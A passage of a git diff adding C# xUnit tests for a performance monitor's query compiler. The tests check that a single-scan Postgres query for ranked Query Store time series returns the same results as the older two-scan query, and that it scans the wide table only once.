+           timestamp ($stampThrough); one that is not later binds nothing extra. Wide starts of +2h (the common start is later than
+           the window), 0 and -1h (it is not) against instants of +1h and +5h make both outcomes occur. */
+        foreach (var measure in MeasureCatalog.Measures.Where(m => string.Equals(m.SourceTable, "query_store_stats", StringComparison.Ordinal)))
+        {
+            var keyword = measure.Kind == MeasureKind.Ratio ? "ratio" : "measure";
+            var aggregate = measure.Kind == MeasureKind.Ratio ? null : MeasureCatalog.WireName(measure.ValidAggs[0]);
+            var aggregateJson = aggregate is null ? "" : $",\"aggregate\":\"{aggregate}\"";
+            var head = $"{{\"source\":\"{measure.SourceTable}\",\"{keyword}\":\"{measure.Key}\"{aggregateJson}";
+            var dimension = measure.AllowedDimensions.Count > 0 ? measure.AllowedDimensions[0] : "server";
+
+            foreach (var wideStart in new DateTime?[] { WindowStart.AddHours(2), WindowStart, WindowStart.AddHours(-1) })
+            {
+                foreach (var stampThrough in new DateTime?[] { WindowStart.AddHours(1), WindowStart.AddHours(5) })
+                {
+                    foreach (var servers in new[] { (IReadOnlyList<string>?)null, TwoServers })
+                    {
+                        Add(corpus, $"{head},\"timeBucket\":\"hour\",\"viz\":\"line\"}}", servers, measure.Key, wide: (true, wideStart), stampThrough: stampThrough);
+                        Add(corpus, $"{head},\"viz\":\"stat\"}}", servers, measure.Key, wide: (true, wideStart), stampThrough: stampThrough);
+                        Add(corpus, $"{head},\"topN\":5,\"groupBy\":[\"{dimension}\"],\"viz\":\"bar\"}}", servers, measure.Key, wide: (true, wideStart), stampThrough: stampThrough);
+                        Add(
+                            corpus,
+                            $"{head},\"timeBucket\":\"hour\",\"topN\":5,\"groupBy\":[\"{dimension}\"],\"includeOther\":true,\"viz\":\"line\"}}",
+                            servers,
+                            measure.Key,
+                            wide: (true, wideStart),
+                            stampThrough: stampThrough);
+                    }
+                }
+            }
+        }
+
+        /* The hourly-raw-edges route: a window ending now, with a verdict equal to the router's candidate, binds the
+           two edge instants. Fleet and scoped, so the prediction's +2 is in the population. */
+        {
+            var edgeNow = new DateTime(2026, 7, 23, 12, 0, 0, DateTimeKind.Utc);
+            var edgeCoverage = new RollupCoverage(
+                new Dictionary<string, DateTime>(StringComparer.Ordinal) { [TimescaleSupport.QueryStatsIntervalHourlyView] = edgeNow.AddDays(-3) },
+                new Dictionary<string, DateTime>(StringComparer.Ordinal),
+                RollupAvailability.All,
+                new Dictionary<string, DateTime>(StringComparer.Ordinal) { [TimescaleSupport.QueryStatsIntervalHourlyView] = edgeNow.AddMinutes(-20) });
+            var (edgePlan, edgeParseError) = ComposeSpec.TryParsePanel(
+                (JsonObject)JsonNode.Parse(
+                    "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":10,"
+                    + "\"groupBy\":[\"database_name\"],\"viz\":\"table\"}")!,
+                []);
+            Assert.True(edgeParseError is null, edgeParseError);
+            var edgeCandidate = ComposeSourceRouter.HourlyRawEdgesCandidate(
+                edgePlan!, edgeNow, edgeNow.AddHours(-24), edgeNow, RollupAvailability.All, edgeCoverage);
+            Assert.NotNull(edgeCandidate);
+
+            /* The same route joining modules: with a map watermark it binds the overlay floor too, so the prediction's +1
+               is in the population, and without one it binds nothing more. */
+            var (moduleEdgePlan, moduleEdgeParseError) = ComposeSpec.TryParsePanel(
+                (JsonObject)JsonNode.Parse(
+                    "{\"source\":\"query_stats\",\"measure\":\"query_worker_us\",\"aggregate\":\"sum\",\"topN\":10,"
+                    + "\"groupBy\":[\"database_name\",\"object_name\"],\"viz\":\"table\"}")!,
+                []);
+            Assert.True(moduleEdgeParseError is null, moduleEdgeParseError);
+
+            foreach (var (edgePanel, moduleMapThrough) in new[]
+            {
+                (edgePlan!, (DateTime?)null),
+                (moduleEdgePlan!, (DateTime?)null),
+                (moduleEdgePlan!, (DateTime?)edgeNow.AddMinutes(-30)),
+            })
+            {
+                foreach (var servers in new[] { (IReadOnlyList<string>?)null, TwoServers })
+                {
+                    var edgeContext = new ComposeRunContext(
+                        servers, edgeNow.AddHours(-24), edgeNow, ComposeRunContext.NoVariables, RollupAvailability.All, edgeNow, edgeCoverage,
+                        HourlyEdges: new ComposeHourlyEdgesVerdict(edgeCandidate!.SourceTable, edgeCandidate.HourStartUtc, edgeCandidate.HourEndUtc, servers),
+                        ModuleMapThrough: moduleMapThrough);
+                    var (edgeCompiled, edgeError) = ComposeCompiler.Compile(edgePanel, edgeContext);
+                    Assert.True(edgeError is null, edgeError);
+                    Assert.Contains("UNION ALL", edgeCompiled!.Sql, StringComparison.Ordinal);
+                    corpus.Add(new Statement(
+                        $"query_worker_us Ranked ({(servers is null ? "fleet" : "scoped")}) hourly-raw-edges"
+                            + (edgePanel == moduleEdgePlan ? (moduleMapThrough is null ? " module join" : " module map overlay") : string.Empty),
+                        edgeCompiled,
+                        PredictedParameterCount(edgePanel, servers is not null, edgeContext),
+                        edgePanel.Mode,
+                        servers is not null,
+                        "query_worker_us",
+                        Annotation: null,
+                        FilterOp: null,
+                        UsesVariable: false));
+                }
+            }
+        }
+
         /* A variable-resolved filter value: the same bind, reached through the $var path rather than a
            literal, so a future divergence between the two resolutions is in the population. */
         Add(
@@ -611,7 +735,8 @@ private static void Add(
         string? filterOp = null,
         IReadOnlyDictionary<string, string?>? variables = null,
         string[]? declaredVariables = null,
-        (bool Eligible, DateTime? Start)? wide = null)
+        (bool Eligible, DateTime? Start)? wide = null,
+        DateTime? stampThrough = null)
     {
         var (plan, parseError) = ComposeSpec.TryParsePanel(
             (JsonObject)JsonNode.Parse(json)!,
@@ -624,7 +749,7 @@ private static void Add(
             return;
         }
 
-        var context = Context(servers, variables, wide);
+        var context = Context(servers, variables, wide, stampThrough);
         var (compiled, compileError) = ComposeCompiler.Compile(plan!, context);
         if (compileError is not null)
         {
@@ -634,6 +759,7 @@ private static void Add(
         corpus.Add(new Statement(
             $"{measureKey} {plan!.Mode} ({(servers is null ? "fleet" : "scoped")})"
             + (wide is null ? "" : $" wide:{wide.Value.Start:HH:mm}")
+            + (stampThrough is null ? "" : $" stamp:{stampThrough.Value:HH:mm}")
             + (filterOp is null ? "" : $" filter:{filterOp}"),
             compiled!,
             PredictedParameterCount(plan, servers is not null, context),
@@ -649,7 +775,8 @@ private static void Add(
     private static ComposeRunContext Context(
         IReadOnlyList<string>? servers,
         IReadOnlyDictionary<string, string?>? variables,
-        (bool Eligible, DateTime? Start)? wide = null) =>
+        (bool Eligible, DateTime? Start)? wide = null,
+        DateTime? stampThrough = null) =>
         new(
             servers,
             WindowStart,
@@ -659,7 +786,8 @@ private static ComposeRunContext Context(
             WindowEnd,
             RollupCoverage.Unknown,
             QueryStoreWideEligible: wide?.Eligible ?? false,
-            QueryStoreWideStart: wide?.Start);
+            QueryStoreWideStart: wide?.Start,
+            QueryStoreStampThrough: stampThrough);
 
     /// <summary>The repository root, from this file's own compile-time path — the same anchor
     /// <c>StartupCommandTimeoutTests</c> and <c>ServerLocalReadFrameDisciplineTests</c> use, so the source
diff --git a/Darling/Darling.Tests/ComposeQueryStoreRankedSingleScanLiveTests.cs b/Darling/Darling.Tests/ComposeQueryStoreRankedSingleScanLiveTests.cs
new file mode 100644
index 0000000000..ea93fc882d
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeQueryStoreRankedSingleScanLiveTests.cs
@@ -0,0 +1,308 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582: the live proof that the single-scan Query Store RankedTimeSeries text returns what the two-scan text returned, and
+/// that it reads the wide table once. Every case compiles the SAME panel through <see cref="QueryStoreRankedHarness.Product"/> and
+/// <see cref="QueryStoreRankedHarness.Oracle"/> (<c>CompileCore(..., false)</c>) over the rows of
+/// <see cref="QueryStoreRankedHarness.SeedAsync"/> and asserts equal result sets. The harness is the reusable half: part 3 passes
+/// its own compiler as the candidate.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only
+   to CREATE and DROP its own database through ScratchPostgres, then works entirely inside it, so it cannot race
+   live collection. */
+public sealed class ComposeQueryStoreRankedSingleScanLiveTests
+{
+    private const string SkipMessage = "Set DARLING_TEST_PG to a Postgres connection string to run the #5582 single-scan RankedTimeSeries live tests.";
+
+    private sealed record Window(string Name, DateTime Start, DateTime End, string Bucket);
+
+    private static readonly Window[] Windows =
+    {
+        new("72 hours, hour grain", QueryStoreRankedHarness.WindowStart, QueryStoreRankedHarness.WindowEnd, "hour"),
+        new("72 hours, day grain", QueryStoreRankedHarness.WindowStart, QueryStoreRankedHarness.WindowEnd, "day"),
+        new("90 minutes, minute grain", QueryStoreRankedHarness.WindowStart.AddHours(10), QueryStoreRankedHarness.WindowStart.AddHours(10).AddMinutes(90), "minute"),
+        new("30 minutes, one hour bucket", QueryStoreRankedHarness.WindowStart.AddHours(10), QueryStoreRankedHarness.WindowStart.AddHours(10).AddMinutes(30), "hour"),
+        new("72 hours, minute grain (past the bucket bound)", QueryStoreRankedHarness.WindowStart, QueryStoreRankedHarness.WindowEnd, "minute"),
+    };
+
+    /// <summary>(measure key kind, key, aggregate or null for a ratio).</summary>
+    private static readonly (string Kind, string Key, string? Aggregate)[] Measures =
+    {
+        ("measure", "qs_executions", "sum"), ("measure", "qs_executions", "avg"), ("measure", "qs_executions", "min"), ("measure", "qs_executions", "max"),
+        ("measure", "qs_max_duration_us", "avg"), ("measure", "qs_max_duration_us", "min"), ("measure", "qs_max_duration_us", "max"),
+        ("measure", "qs_max_cpu_us", "avg"), ("measure", "qs_max_cpu_us", "min"), ("measure", "qs_max_cpu_us", "max"),
+        ("ratio", "qs_avg_duration_us", null), ("ratio", "qs_avg_cpu_us", null), ("ratio", "qs_total_duration_us", null), ("ratio", "qs_total_cpu_us", null),
+    };
+
+    /// <summary>(group columns, topN, whether the single scan is expected on a window within the bucket bound).</summary>
+    private static readonly (string[] Groups, int TopN, bool Bounded)[] Groupings =
+    {
+        (new[] { "module_name" }, 4, true),
+        (new[] { "database_name" }, 2, true),
+        (new[] { "database_name", "module_name" }, 6, true),
+        (new[] { "server" }, 2, true),
+        (new[] { "query_hash" }, 5, false),
+    };
+
+    private static string PanelJson((string Kind, string Key, string? Aggregate) measure, string[] groups, int topN, string bucket, bool includeOther, string? filters = null) =>
+        "{\"source\":\"query_store_stats\",\"" + measure.Kind + "\":\"" + measure.Key + "\""
+        + (measure.Aggregate is null ? string.Empty : ",\"aggregate\":\"" + measure.Aggregate + "\"")
+        + ",\"timeBucket\":\"" + bucket + "\",\"topN\":" + topN.ToString(CultureInfo.InvariantCulture)
+        + ",\"groupBy\":[" + string.Join(",", groups.Select(g => "\"" + g + "\"")) + "],\"viz\":\"line\""
+        + (includeOther ? ",\"includeOther\":true" : string.Empty) + (filters is null ? string.Empty : ",\"filters\":" + filters) + "}";
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlConnection Connection)> OpenAsync(string baseCs, System.Threading.CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(baseCs, ct);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await QueryStoreRankedHarness.SeedAsync(connection, ct);
+        return (scratch, connection);
+    }
+
+    [Fact]
+    public async Task SingleScan_EqualsTheTwoScanText_ForEveryMeasureAggregateGroupingAndWindow()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipMessage);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection) = await OpenAsync(baseCs!, ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        var compared = 0;
+        var nonEmpty = 0;
+        var tiesDiffered = 0;
+        var singleScanCompiles = 0;
+        foreach (var window in Windows)
+        {
+            var context = QueryStoreRankedHarness.WideContext(window.Start, window.End);
+            foreach (var measure in Measures)
+            {
+                foreach (var (groups, topN, bounded) in Groupings)
+                {
+                    foreach (var includeOther in new[] { false, true })
+                    {
+                        var json = PanelJson(measure, groups, topN, window.Bucket, includeOther);
+                        var result = await QueryStoreRankedHarness.CompareAsync(
+                            connection, json, context, QueryStoreRankedHarness.Product, QueryStoreRankedHarness.Oracle, 0d, ct);
+                        compared++;
+                        nonEmpty += result.OracleRows > 0 ? 1 : 0;
+                        tiesDiffered += result.MemberSetsDiffered ? 1 : 0;
+                        Assert.True(result.Equal, $"{window.Name} | {json}: {result.Difference}");
+                        Assert.True(result.MemberSetsDiffered || result.OracleRows == result.CandidateRows, $"{window.Name} | {json}: row counts {result.CandidateRows} vs {result.OracleRows}");
+
+                        var usedSingleScan = result.CandidateSql.Contains("rank_base AS (", StringComparison.Ordinal);
+                        var expectSingleScan = bounded && !window.Name.Contains("past the bucket bound", StringComparison.Ordinal);
+                        Assert.True(expectSingleScan == usedSingleScan, $"{window.Name} | {json}: single scan expected={expectSingleScan}, compiled={usedSingleScan}");
+                        singleScanCompiles += usedSingleScan ? 1 : 0;
+                        Assert.False(result.OracleSql.Contains("rank_base", StringComparison.Ordinal), "the oracle must be the two-scan text");
+                    }
+                }
+            }
+        }
+
+        Assert.True(compared >= 500, $"expected the full matrix; compared {compared}");
+        Assert.True(nonEmpty * 10 >= compared * 8, $"the seed must give most cases rows: {nonEmpty} of {compared}");
+        Assert.True(singleScanCompiles >= compared / 2, $"the single scan must be what most of the matrix ran: {singleScanCompiles} of {compared}");
+
+        /* The seed has no tie at any of these cutoffs except by accident; report rather than require. */
+        Assert.True(tiesDiffered <= compared / 20, $"member sets differed in {tiesDiffered} of {compared} cases (ties at the cutoff are the only explanation allowed)");
+
+        var scoped = QueryStoreRankedHarness.WideContext(QueryStoreRankedHarness.WindowStart, QueryStoreRankedHarness.WindowEnd, new[] { QueryStoreRankedHarness.Servers[1].Name });
+        foreach (var measure in Measures)
+        {
+            var json = PanelJson(measure, new[] { "module_name" }, 3, "hour", true,
+                "[{\"dimension\":\"database_name\",\"op\":\"eq\",\"value\":\"db1\"}]");
+            var result = await QueryStoreRankedHarness.CompareAsync(
+                connection, json, scoped, QueryStoreRankedHarness.Product, QueryStoreRankedHarness.Oracle, 0d, ct);
+            Assert.True(result.Equal, $"scoped + filtered | {json}: {result.Difference}");
+            Assert.True(result.OracleRows > 0, $"scoped + filtered | {json}: the seed returned nothing");
+            Assert.Contains("rank_base AS (", result.CandidateSql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public async Task SingleScan_AtTheCutoffTie_ChoosesAValidTopN_AndEveryChosenGroupsRowsAreEqual()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipMessage);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection) = await OpenAsync(baseCs!, ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        var context = QueryStoreRankedHarness.WideContext(QueryStoreRankedHarness.WindowStart, QueryStoreRankedHarness.WindowEnd);
+        const string tbFilter = "[{\"dimension\":\"module_name\",\"op\":\"like\",\"value\":\"tb%\"}]";
+        var differed = 0;
+        var cases = 0;
+        foreach (var measure in Measures)
+        {
+            foreach (var topN in new[] { 1, 3, 4, 5, 9 })
+            {
+                var json = PanelJson(measure, new[] { "module_name" }, topN, "hour", false, tbFilter);
+                var result = await QueryStoreRankedHarness.CompareAsync(
+                    connection, json, context, QueryStoreRankedHarness.Product, QueryStoreRankedHarness.Oracle, 0d, ct);
+                cases++;
+                differed += result.MemberSetsDiffered ? 1 : 0;
+                Assert.True(result.Equal, $"{json}: {result.Difference}");
+                Assert.Contains("rank_base AS (", result.CandidateSql, StringComparison.Ordinal);
+                Assert.True(result.OracleRows > 0, json);
+            }
+        }
+
+        /* How often the two texts picked different tied members is the plan's choice, so it is not asserted; each case above is
+           valid either way. */
+        Assert.Equal(70, cases);
+        Assert.True(differed >= 0);
+    }
+
+    /// <summary>
+    /// The Avg partials are the numeric sum and the non-null count; their quotient over any slicing of a group must be the numeric
+    /// <c>AVG(bigint)</c> gives, to the last digit, including sums past a bigint, NULLs, an all-NULL group and a one-row group.
+    /// </summary>
+    [Fact]
+    public async Task AvgPartials_EqualAvgOfBigint_ExactlyAsNumeric_ForRandomData()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipMessage);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        for (var round = 1; round <= 6; round++)
+        {
+            var seed = round / 10.0;
+            await using (var setup = new NpgsqlCommand(
+                @"SELECT setseed(@seed);
+DROP TABLE IF EXISTS avg_probe;
+CREATE TEMP TABLE avg_probe AS
+SELECT g, slice, v FROM
+(
+    SELECT (random() * 200)::integer AS g, (random() * 9)::integer AS slice,
+           CASE WHEN random() < 0.1 THEN NULL
+                WHEN random() < 0.5 THEN ((random() * 2 - 1) * 9.0e18)::bigint
+                ELSE ((random() * 2000 - 1000)::bigint) END AS v
+    FROM generate_series(1, 20000)
+) AS t
+UNION ALL SELECT 201, s, NULL::bigint FROM generate_series(0, 3) AS s
+UNION ALL SELECT 202, 0, 5::bigint
+UNION ALL SELECT 203, 0, 9223372036854775807::bigint
+UNION ALL SELECT 203, 1, 9223372036854775806::bigint
+UNION ALL SELECT 204, 0, (-9223372036854775807)::bigint
+UNION ALL SELECT 204, 1, (-9223372036854775807)::bigint
+UNION ALL SELECT 204, 2, 1::bigint;", connection))
+            {
+                setup.Parameters.AddWithValue("seed", seed);
+                await setup.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var compare = new NpgsqlCommand(
+                @"WITH parts AS (SELECT g, slice, SUM(v) AS s, COUNT(v) AS c FROM avg_probe GROUP BY g, slice),
+combined AS
+(
+    SELECT g, SUM(s) / NULLIF(SUM(c), 0) AS a, CAST(SUM(s) / NULLIF(SUM(c), 0) AS double precision) AS d FROM parts GROUP BY g
+),
+direct AS (SELECT g, AVG(v) AS a, CAST(AVG(v) AS double precision) AS d FROM avg_probe GROUP BY g)
+SELECT count(*)::integer,
+       count(*) FILTER (WHERE c.g IS NULL OR d.g IS NULL OR c.a::text IS DISTINCT FROM d.a::text OR c.d IS DISTINCT FROM d.d)::integer,
+       count(*) FILTER (WHERE d.a IS NULL)::integer
+FROM combined AS c FULL JOIN direct AS d ON d.g = c.g;", connection);
+            await using var reader = await compare.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct));
+            Assert.True(reader.GetInt32(0) >= 200, $"round {round}: the probe has too few groups");
+            Assert.True(reader.GetInt32(2) >= 1, $"round {round}: the all-NULL group must be in the probe");
+            Assert.True(reader.GetInt32(1) == 0, $"round {round} (seed {seed}): {reader.GetInt32(1)} groups where the combined partials differ from AVG(bigint)");
+        }
+    }
+
+    /// <summary>
+    /// The plan of the single-scan text reads the wide table once; the oracle's reads it twice. Counted over the scans that
+    /// carry the fact alias, per relation (the table, or each of its chunks once). Red-planted by compiling the old text under
+    /// the new switch: the first assertion then fails.
+    /// </summary>
+    [Fact]
+    public async Task SingleScan_ReadsTheWideTableOnce_AndTheOracleReadsItTwice()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipMessage);
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, connection) = await OpenAsync(baseCs!, ct);
+        await using var scratchOwner = scratch;
+        await using var connectionOwner = connection;
+
+        foreach (var (bucket, groups) in new[] { ("hour", new[] { "module_name" }), ("day", new[] { "database_name", "module_name" }) })
+        {
+            var json = PanelJson(("ratio", "qs_total_cpu_us", null), groups, 5, bucket, false);
+            var plan = QueryStoreRankedHarness.Parse(json);
+            var context = QueryStoreRankedHarness.WideContext(QueryStoreRankedHarness.WindowStart, QueryStoreRankedHarness.WindowEnd);
+
+            var single = await ScansPerRelationAsync(connection, QueryStoreRankedHarness.Product, plan, context, ct);
+            Assert.True(single.Count > 0 && single.Values.All(n => n == 1),
+                $"{bucket}: the single-scan text must scan each wide relation once: {Describe(single)}");
+
+            var oracle = await ScansPerRelationAsync(connection, QueryStoreRankedHarness.Oracle, plan, context, ct);
+            Assert.True(oracle.Count > 0 && oracle.Values.All(n => n == 2),
+                $"{bucket}: the oracle must scan each wide relation twice (else this test counts nothing): {Describe(oracle)}");
+        }
+    }
+
+    private static string Describe(Dictionary<string, int> scans) => string.Join(", ", scans.Select(kv => kv.Key + "=" + kv.Value));
+
+    private static async Task<Dictionary<string, int>> ScansPerRelationAsync(
+        NpgsqlConnection connection, QueryStoreRankedHarness.Compiler compiler, PanelPlan plan, ComposeRunContext context, System.Threading.CancellationToken ct)
+    {
+        var (compiled, error) = compiler(plan, context);
+        Assert.True(error is null, error);
+        await using var command = new NpgsqlCommand("EXPLAIN (FORMAT JSON) " + compiled!.Sql, connection);
+        foreach (var parameter in compiled.Parameters)
+        {
+            command.Parameters.Add(parameter);
+        }
+
+        var planJson = (string)(await command.ExecuteScalarAsync(ct))!;
+        using var document = JsonDocument.Parse(planJson);
+        var scans = new Dictionary<string, int>(StringComparer.Ordinal);
+        void Walk(JsonElement node)
+        {
+            if (node.TryGetProperty("Relation Name", out var relation) && node.TryGetProperty("Alias", out var alias)
+                && alias.GetString()!.StartsWith("w", StringComparison.Ordinal)
+                && (relation.GetString()!.Contains("query_store_interval_wide", StringComparison.Ordinal) || relation.GetString()!.StartsWith("_hyper_", StringComparison.Ordinal)))
+            {
+                scans[relation.GetString()!] = scans.GetValueOrDefault(relation.GetString()!) + 1;
+            }
+
+            if (node.TryGetProperty("Plans", out var children))
+            {
+                foreach (var child in children.EnumerateArray())
+                {
+                    Walk(child);
+                }
+            }
+        }
+
+        Walk(document.RootElement[0].GetProperty("Plan"));
+        return scans;
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeQueryStoreRankedSingleScanTests.cs b/Darling/Darling.Tests/ComposeQueryStoreRankedSingleScanTests.cs
new file mode 100644
index 0000000000..51d7db98c1
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeQueryStoreRankedSingleScanTests.cs
@@ -0,0 +1,143 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582: compile-level pins for the Query Store RankedTimeSeries single scan. The gate (which panels read the wide table once),
+/// the shape of the base CTE, and a golden copy of the two-scan text, which is the oracle of
+/// <see cref="ComposeQueryStoreRankedSingleScanLiveTests"/>: a change to it must be deliberate, so it shows here.
+/// </summary>
+public sealed class ComposeQueryStoreRankedSingleScanTests
+{
+    private static string Json(string groupBy, string bucket, string measureKind = "ratio", string key = "qs_total_cpu_us", string extra = "") =>
+        "{\"source\":\"query_store_stats\",\"" + measureKind + "\":\"" + key + "\",\"timeBucket\":\"" + bucket + "\",\"topN\":10,\"groupBy\":[\"" + groupBy + "\"],\"viz\":\"line\"" + extra + "}";
+
+    /// <summary>A bounded group dimension of 100 members: small enough that the 100-bucket cap, not the member term, decides.</summary>
+    private const long SmallGroup = 100;
+
+    private static string Sql(string json, DateTime start, DateTime end, bool singleScan, bool wide = true, long? members = SmallGroup)
+    {
+        var plan = QueryStoreRankedHarness.Parse(json);
+        var context = new ComposeRunContext(null, start, end, ComposeRunContext.NoVariables, RollupAvailability.None, end, RollupCoverage.Unknown, QueryStoreWideEligible: wide, QueryStoreGroupMembers: members);
+        var (compiled, error) = ComposeCompiler.CompileCore(plan, context, singleScan);
+        Assert.True(error is null, error);
+        return compiled!.Sql;
+    }
+
+    private static readonly DateTime Day = new(2026, 10, 7, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static int Occurrences(string text, string needle) =>
+        (text.Length - text.Replace(needle, string.Empty, StringComparison.Ordinal).Length) / needle.Length;
+
+    [Theory]
+    [InlineData("module_name", "hour", 24, 100L, true)]
+    [InlineData("database_name", "hour", 24, 100L, true)]
+    [InlineData("server", "hour", 24, 43L, true)]
+    [InlineData("module_name", "hour", 100, 100L, true)]      /* the bucket cap: 100 buckets is still bounded */
+    [InlineData("module_name", "hour", 101, 100L, false)]     /* one bucket past it */
+    [InlineData("module_name", "minute", 24, 100L, false)]    /* 1,440 buckets */
+    [InlineData("query_hash", "hour", 24, 100L, false)]       /* a group as large as the fact rows */
+    [InlineData("query_hash", "minute", 1, 100L, false)]
+    [InlineData("module_name", "hour", 24, 40_000L, true)]    /* 24 x 40,000 = 960,000 base rows, under the 1,000,000 bound */
+    [InlineData("module_name", "hour", 24, 41_666L, true)]    /* 999,984 */
+    [InlineData("module_name", "hour", 24, 41_667L, false)]   /* 1,000,008: one member past the bound */
+    [InlineData("module_name", "hour", 100, 10_000L, true)]   /* 100 x 10,000 = 1,000,000: the bound itself */
+    [InlineData("module_name", "hour", 100, 30_000L, false)]  /* 100 x 30,000 = 3 million rows is about 1.3 GB of temp: two scans */
+    [InlineData("module_name", "hour", 24, null, false)]      /* unknown members: two scans */
+    public void TheWideRoute_ReadsTheFactRowsOnce_OnlyWhereTheBaseCteIsBounded(string group, string bucket, int hours, long? members, bool single)
+    {
+        var json = Json(group, bucket);
+        var sql = Sql(json, Day, Day.AddHours(hours), singleScan: true, members: members);
+        Assert.Equal(single, sql.Contains("rank_base AS (", StringComparison.Ordinal));
+        Assert.Equal(single ? 1 : 2, Occurrences(sql, "collect.query_store_interval_wide"));
+        Assert.Equal(!single, ComposeCompiler.RankedTimeSeriesScansFactRowsTwice(QueryStoreRankedHarness.Parse(json), Day, Day.AddHours(hours), members));
+
+        /* The oracle switch is the old text whatever the gate says. */
+        var old = Sql(json, Day, Day.AddHours(hours), singleScan: false, members: members);
+        Assert.DoesNotContain("rank_base", old, StringComparison.Ordinal);
+        Assert.Equal(2, Occurrences(old, "collect.query_store_interval_wide"));
+    }
+
+    [Fact]
+    public void OtherRoutes_AndOtherSources_KeepTheTwoScanText()
+    {
+        /* The raw dedupe route (wide not eligible). */
+        var raw = Sql(Json("module_name", "hour"), Day, Day.AddHours(24), singleScan: true, wide: false);
+        Assert.DoesNotContain("rank_base", raw, StringComparison.Ordinal);
+
+        /* A source that is not Query Store. */
+        var waits = Sql("{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"topN\":5,\"groupBy\":[\"wait_type\"],\"viz\":\"line\"}",
+            Day, Day.AddHours(24), singleScan: true);
+        Assert.DoesNotContain("rank_base", waits, StringComparison.Ordinal);
+
+        /* A panel that is not a RankedTimeSeries reads the rows once and never asks for a second scan. */
+        var ranked = QueryStoreRankedHarness.Parse("{\"source\":\"query_store_stats\",\"ratio\":\"qs_total_cpu_us\",\"topN\":10,\"groupBy\":[\"query_hash\"],\"viz\":\"table\"}");
+        Assert.False(ComposeCompiler.RankedTimeSeriesScansFactRowsTwice(ranked, Day, Day.AddHours(24), null));
+    }
+
+    [Fact]
+    public void TheBaseCte_HoldsThePartialsOnce_AndTheRankAndTheSeriesReadIt()
+    {
+        var sql = Sql(Json("module_name", "hour", "measure", "qs_executions", ",\"aggregate\":\"avg\""), Day, Day.AddHours(24), singleScan: true);
+        Assert.StartsWith("WITH rank_base AS (", sql, StringComparison.Ordinal);
+        Assert.Contains("SUM(f.execution_count) AS p0, COUNT(f.execution_count) AS p1", sql, StringComparison.Ordinal);
+        Assert.Contains("CAST(SUM(b.p0) / NULLIF(SUM(b.p1), 0) AS double precision)", sql, StringComparison.Ordinal);
+        Assert.Equal(2, Occurrences(sql, "FROM rank_base AS b"));
+        Assert.Equal(1, Occurrences(sql, "collect.query_store_interval_wide"));
+    }
+
+    /// <summary>The oracle, byte for byte, for the "top 10 queries by CPU over time" panel of one fleet-day at minute grain.</summary>
+    [Fact]
+    public void TheOracleText_ForTheFleetDayTopQueriesPanel_IsPinned()
+    {
+        var sql = Sql(Json("query_hash", "minute"), Day, Day.AddDays(1), singleScan: false).Replace("\r\n", "\n", StringComparison.Ordinal);
+        const string Expected = """
+            WITH topn AS (
+                SELECT f.query_hash AS query_hash, (CAST(SUM(f.avg_cpu_time_us * f.execution_count) AS double precision)) * 1.0 / 1000000.0 AS value
+                FROM (SELECT w.*, s.server_name FROM collect.query_store_interval_wide AS w JOIN collect.servers AS s ON s.server_id = w.server_id WHERE w.collection_time >= $1 AND w.collection_time <= $2) AS f
+                WHERE f.collection_time >= $1
+                  AND f.collection_time <= $2
+                GROUP BY f.query_hash
+                ORDER BY value DESC NULLS LAST
+                LIMIT $3
+            )
+            SELECT * FROM (
+            SELECT date_trunc('minute', f.collection_time) AS bucket, f.query_hash AS query_hash, (CAST(SUM(f.avg_cpu_time_us * f.execution_count) AS double precision)) * 1.0 / 1000000.0 AS value
